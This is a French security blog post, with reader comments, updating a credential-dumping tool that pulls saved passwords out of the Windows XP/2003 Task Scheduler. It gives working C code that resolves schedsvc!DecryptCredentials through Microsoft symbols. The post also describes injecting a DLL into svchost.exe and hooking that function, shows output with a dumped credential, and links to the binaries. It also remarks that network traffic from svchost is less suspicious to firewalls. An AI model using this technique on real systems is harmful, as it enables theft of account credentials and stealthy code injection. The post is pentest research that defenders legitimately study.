TaskPwdDmp update

octobre 27th, 2008 at 01:45 admin

J’avais dit que je coderais une version générique pour mon outil TaskPwdDmp, c’est fait ! Après quelques retours me signalant que mon programme ne marchait à cause de l’utilisation d’offsets harcodés pour retrouver la fonction schedsvc!DecryptCredentials je me suis décidé à faire quelque chose de propre. Au lieu de fournir une liste de tous les offets possible de Windows XP à 2003 avec toutes les versions de DLLs possibles j’ai préféré opter pour une autre méthode plus simple.

La fonction DecryptCredentials de schedsvc.dll n’est pas exportée, le seul moyen donc de connaître son adresse précise est d’utiliser les symbols fournit par Microsoft sur leur site. Ainsi des programmes comme IDA, WinDbg ou Process Explorer utilisent ses symbols pour rendre le debugging/dissasembling/tracing/monitoring de binaires Windows plus aisé.

L’idée est donc simple, rendre l’outil TaskPwdDmp capable d’utiliser lui aussi les symbols pour obtenir l’adresse d’une fonction précise. En utilisant le moteur d’aide au debugging qui se charge d’obtenir la bonne version de symbols de manière dynamique on évite de se prendre la tête avec la version de l’OS, du Service Pack, de la localisation et de schedsvc.dll.

Les symbols sont en général représentés par des fichiers d’extensions .pdb. Par défaut Visual Studio génère un fichier .pdb pour chaque fichier .obj, en fonction des options de compilations bien sur. Microsoft met à disposition ses fichiers .pdb pour presque toutes les versions des binaires de son OS x86 ou x64, allant de Windows 2000 jusqu’à Windows Server 2008.

L’outil va donc aller chercher sur le net les symbols pour la DLL schedsvc pour lire l’adresse de la fonction DecryptCredentials. Cela rajoute donc une contrainte qui demande d’avoir l’accès au net mais de l’autre coté nous obtenons plus de fiabilité.

Pour obtenir les informations d’aide au debugging on utilise la librairie DbgHelp.dll. Cette DLL dont la dernière version est fournie dans les Debugging Tools permet de manipuler toutes les APIs de gestion des symbols, pour être plus précis : l’application des fichiers .pdb aux modules chargés en mémoire, aux stackframes, aux threads ainsi que l’aide du parsing entre les fichiers sources et binaires associés. D’un autre coté, nous avons aussi la DLL symsrv.dll qui elle à pour rôle de gérer le symbol server et le symbol store, les endroits ou sont disponibles les symbols et ou les stocker.

Il faut d’abord initialiser le moteur de gestion des symbols avec l’API SymInitialize, cette API demande le handle du process auquel seront appliquées toutes les APIs suivante ainsi qu’un argument spécifiant ou non si on doit chargé tous les symbols de tous les modules. Dans notre cas nous n’avons besoin que des symbols d’un seul module, ceux de schedsvc.dll, nous allons donc éviter de demander à DbgHelp.dll de retrouver tous les symbols. Pour cela, il est possible de spécifier à l’aide de SymSetOptions le flag SYMOPT_DEFERRED_LOADS qui demande au gestionnaire de symbols de les charger quand ceux ci sont nécessaire, cela évite de consommer trop d’espace mémoire et d’attendre 1000 ans qu’ils soient tous mappés.

Ensuite avec SymLoadModuleEx nous demandons de charger les symbols pour le module schedsvc.dll du binaire svchost.exe qui l’héberge. C’est à ce moment qu’intervient le gestionnaire symsrv, voyant que le .pdb n’existe pas dans le symbol store montré par la variable d’environnement _NT_SYMBOL_PATH , il va directement télécharger le .pdb (s’il existe !) depuis le symbol server qui lui aussi peut être définit avec NT_SYMBOL_PATH. En général ce symbol server est ‘http://msdl.microsoft.com/download/symbols’, on peut d’ailleur voir les requêtes tentées par DbgHelp.dll (visiblent sous forme de messages de debug) avant de faire appel à symsrv.dll :

DBGHELP: _NT_SYMBOL_PATH: SRV*C:\WINDOWS\TEMP*http://msdl.microsoft.com/download/symbols
DBGHELP: Symbol Search Path: .;SRV*C:\WINDOWS\TEMP*http://msdl.microsoft.com/download/symbols
DBGHELP: .\schedsvc.pdb - file not found
DBGHELP: .\dll\schedsvc.pdb - file not found
DBGHELP: .\symbols\dll\schedsvc.pdb - file not found
SYMSRV:  schedsvc.pdb from http://msdl.microsoft.com/download/symbols: 56991 bytes -    0 percent   copied         
DBGHELP: schedsvc - public symbols  
         C:\WINDOWS\TEMP\schedsvc.pdb\21D8A0C07CFF463CA338812BD32887191\schedsvc.pdb

Normalement symsrv nous demande dans une DialogBox d’accepter une licence, pour éviter cela on crée le fichier ‘symsrv.yes’ dans le même répertoire que symsrv.dll. Pour plus d’infos voir la ProcessEula dans symsrv.dll.

Après l’API SymFromName est capable à partir d’un nom de retrouver toutes les infos symboliques associées, on obtient une structure SYMBOL_INFO qui contient notamment l’adresse en mémoire.

typedef struct _SYMBOL_INFO 
{
	ULONG SizeOfStruct;  
	ULONG TypeIndex;  
	ULONG64 Reserved[2];  
	ULONG Index;  
	ULONG Size;  
	ULONG64 ModBase;  
	ULONG Flags;  
	ULONG64 Value;  
	ULONG64 Address;  
	ULONG Register;  
	ULONG Scope;  
	ULONG Tag;  
	ULONG NameLen;  
	ULONG MaxNameLen;  
	TCHAR Name[1];
} SYMBOL_INFO,  *PSYMBOL_INFO;

A partir de là 2 choix s’offrent à nous.

  1. Le binaire qui injecte la DLL va télécharger les symbols sur le net et envoyer l’information à la DLL injectée dans svchost.exe. Cela demande de mettre un place un mécanisme d’IPC.
  2. La dll injectée retrouve elle même les symbols sur le net directement depuis le processus svchost.exe.

Au début j’ai opté pour la 2ème solution parce que c’était plus simple à implémenter, qui plus est,dans le cas ou il existe un firewall sur le b0x, une connexion extérieure depuis un processus svchost.exe est relativement plus « normale » que celle provenant d’un binaire inconnu.

Après de nombreux essais mon code dans la DLL injectée ne marchait pas alors qu’un binaire stand-alone avec le même code fonctionnait quand à lui. De ce que j’ai pu voir, il existe plusieurs classes dans symsrv.dll qui sont : StoreWinHTTP, StoreHTTP, StoreWinInet et StoreUNC. Ces classes définissent quelles DLLs seront utilisées pour accéder au net, par exemple StoreWinHTTP utilise la DLL winhttp.dll et StoreWinInet utilise wininet.dll. En regardant avec Process Monitor j’ai vu que mon binaire stand-alone utilisait la librairie wininet alors que le même code dans la DLL injectée tentait une connexion avec winhttp.dll. Bref, j’ai un bug quantique et je n’arrive pas à trouver comment symsrv choisit quelle DLL il va utiliser, c’est très bizzare.

Changement de direction donc, retour à la 1ère solution. Le binaire va retrouver les symbols sur le net et les communiquer à la DLL. La communication entre les 2 processes est réalisée avec un named pipe qu’on crée avec CreateNamedPipe, on se place en écoute avec ConnectNamedPipe. Le processus d’injection écrit dans le pipe l’adresse de DecryptCredentials avec un simple WriteFile. La DLL connaissant l’adresse peut maintenant hooker la fonction et le binaire principal faire appel à la fonction ITask::GetAccountInformation pour trigger le hook.

Au final on a donc le code suivant qui retrouve l’adresse de DecryptCredentials :

/*++

Routine Description:
	RetrieveDecryptCredentialsAddress
Arguments:
	Task Scheduler svchost'pid.
Return Value:
	Address of DecryptCredentials. 0 otherwise.
--*/
DWORD RetrieveDecryptCredentialsAddress(DWORD TaskSrvPid)
{
	PSYMBOL_INFO Symbol;
	HANDLE hProcess;
	ULONG64 SymBase;
	ULONG64 Address=0;

	SymSetOptions(SYMOPT_UNDNAME|SYMOPT_DEBUG|SYMOPT_DEFERRED_LOADS|SYMOPT_PUBLICS_ONLY);
	
	hProcess=OpenProcess(PROCESS_ALL_ACCESS, FALSE, TaskSrvPid);
	if(hProcess==NULL)
	{
		printf("Error with OpenProcess : %lu\n", GetLastError());
		return 0;
	}

	//
	// Set _NT_SYMBOL_PATH for the current process
	//
	SetEnvironmentVariable("_NT_SYMBOL_PATH", "SRV*C:\\WINDOWS\\TEMP*http://msdl.microsoft.com/download/symbols");

	if(!SymInitialize(hProcess, NULL, TRUE))
	{
		printf("Error with SymInitialize : %lu\n", GetLastError());
		
		CloseHandle(hProcess);
		return 0;
	}

	//
	// Load symbol module from database
	//
	SymBase=SymLoadModuleEx(hProcess, NULL, TaskSchedDll, NULL, (ULONG64)GetRemoteHandle(TaskSrvPid, TaskSchedDll), 0, NULL, 0);
	//
	// If the module is already loaded, the return value is zero and GetLastError returns ERROR_SUCCESS
	// 
	if((SymBase==0) && (GetLastError()!=ERROR_SUCCESS))
	{
		printf("Error with SymLoadModuleEx : %lu\n", GetLastError());

		SymCleanup(GetCurrentProcess());
		CloseHandle(hProcess);
		return 0;
	}
	
	//
	// Allocate symbol struct
	//
	Symbol=(PSYMBOL_INFO)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, sizeof(SYMBOL_INFO)+MAX_SYM_NAME);
	if(Symbol==NULL)
	{	
		printf("Cannot allocate Symbol struct\n");

		SymCleanup(GetCurrentProcess());
		CloseHandle(hProcess);
		return 0;
	}

	RtlZeroMemory(Symbol, sizeof(SYMBOL_INFO)+MAX_SYM_NAME);
	
	Symbol->SizeOfStruct=sizeof(SYMBOL_INFO);
	Symbol->MaxNameLen=MAX_SYM_NAME;

	//
	// Retrieve address of DecryptCredentials
	//
	if(!SymFromName(hProcess, "DecryptCredentials", Symbol)) 
	{
		printf("Error with SymFromName : %lu\n", GetLastError());

		CloseHandle(hProcess);
		HeapFree(GetProcessHeap(), 0, Symbol);
		SymCleanup(GetCurrentProcess());
		return 0;
	}

	Address=Symbol->Address;
	printf("DecryptCredentials function is at : 0x%I64x\n", Address);

	//
	// Clean
	//
	SymCleanup(hProcess);
	HeapFree(GetProcessHeap(), 0, Symbol);
	CloseHandle(hProcess); 
	
	return (DWORD)Address;
}

A noter que le 5ème paramètre de SymLoadModuleEx est l’ImageBase du module dans le process svchost.exe, d’ou ma fonction GetRemoteHandle qui va retrouver l’ImageBase de schedsvc.dll à distance avec CreateToolhelp32Snapshot (option TH32CS_SNAPMODULE).

Pour finir nous avons donc la sortie :

C:\sym>TaskPwdDmp.exe
Windows Task Scheduler credentials dumper
By Ivanlef0u, thanks to Nicolas Ruff
BE M4D!
Works on Windows XP and 2003
Retrieves schedsvc!DecryptCrendetials address with symbols
    /|
\`O.o'
=(_|_)=
    U
There is 1 tasks in queue
Current tasks are :
Calculatrice
schedsvc.dll found in process [svchost.exe:1744]
Task Scheduler svchost pid is : 1744
DecryptCredentials function is at : 0x76b22962
Injecting Dll TaskPwdDmpDll.dll in process : 1744
FullDllPath : C:\sym\TaskPwdDmpDll.dll
[Msg from PID 1744]-> Dll injected in process 1744

[Msg from PID 1744]-> schedsvc dll is at : 0x76B10000

[Msg from PID 1744]-> Listenning thread created with TID : 856

[Msg from PID 1744]-> schedsvc!DecryptCredentials is at:  0x76b22962

Dumping credentials ...
[Msg from PID 1744]-> Credentials fu:fr

Dll successfully unloaded

Vous trouverez le binaire ici :
http://ivanlef0u.fr/repo/TaskPwdDmpSymbols.rar

Voilà j’espère que cette solution vous plait, j’attends vos retours avec impatience.

Merci à 0vercl0k pour les beta-tests :p

Entry Filed under: RE

9 Comments

  • 1. newsoft  |  octobre 28th, 2008 at 01:24

    Merci pour la mise à jour.

    Mais en pentest l’accès à Internet est loin d’être garanti (sans parler des proxies avec authentification NTLM, etc.)

    La seule solution « propre », c’est de comprendre comment sont chiffrés les credentials et de faire complètement abstraction de l’API. En plus ça marcherait « offline » ou depuis un fichier d’hibernation :)


  • 2. Diti  |  novembre 5th, 2008 at 23:07

    Salut,

    Oui bon ça a aucun rapport avec le post (tu peux supprimer), mais je suis tombé, par hasard suite à une recherche Google, sur ton message annonçant ta migration chez Tuxfamily, et le fait que tu cherchais un domaine. Ben, comme sur OVH je vois le .fr à 1,08 € par an TTC… tu devrais, nan ?

    Bye !


  • 3. Diti  |  novembre 5th, 2008 at 23:10

    Ah et euh, le prends pas mal hein, mais… peut-être que toi t’aimes hein, mais franchement, mets-toi à la place des visiteurs : tu penses pas que, pour changer, le blog d’un hacker pourrait avoir un design clair ? Là, c’est pas vraiment original et ça fait déjà vu… :/


  • 4. bigz  |  janvier 8th, 2010 at 20:49

    salut,
    ton article est très intéressant mais le lien de download http://ivanlef0u.free.fr/repo/TaskPwdDmpSymbols.rar ne fonctionne plus et je voudrais récupérer l’archive.
    Comment est il possible de la récupérer ?
    Merci


  • 5. admin  |  janvier 9th, 2010 at 01:41

    @bigz
    Yo, merci du compliment :)
    J’ai quelques soucis avec le repo en ce moment (un AV de free qui couine …) il devrait revenir dans les prochains jours normalement.
    En attendant j’ai uploadé l’archive la :
    http://download.tuxfamily.org/ivanblog/TaskPwdDmpSymbols.rar
    Enjoy :)


  • 6. intenz  |  février 10th, 2010 at 16:40

    Merci pour la mise à jour. C’est dommage qu’il y ait besoin d’un accès à Internet pour utiliser le soft :(


  • 7. admin  |  février 10th, 2010 at 18:57

    Yo,
    Tu peux utiliser l’ancienne version qui n’en a pas besoin mais il faudra p-e patcher l’adresse hardcodé :p http://ivanlef0u.nibbles.fr/repo/TaskPwdDmp.zip
    Enjoy :)


  • 8. newsoft  |  février 15th, 2010 at 23:17

    Sans vouloir faire mon « corporate blogger », il y a des trucs là-dessus dans le dernier numéro du magazine MISC ;)

    http://www.miscmag.com/index.php/2009/12/31/misc-n%C2%B047-janvierfevrier-2010-chez-votre-marchand-de-journaux


  • 9. liar  |  juillet 27th, 2010 at 12:32

    @newsoft:
    Ouaips l’article de Misc47 est sympa, mais le code n’a visiblement jamais été publié… Donc pour moi c’est comme s’il n’existait pas…


Trackback this post


Calendar

août 2019
L Ma Me J V S D
« fév    
 1234
567891011
12131415161718
19202122232425
262728293031  

Most Recent Posts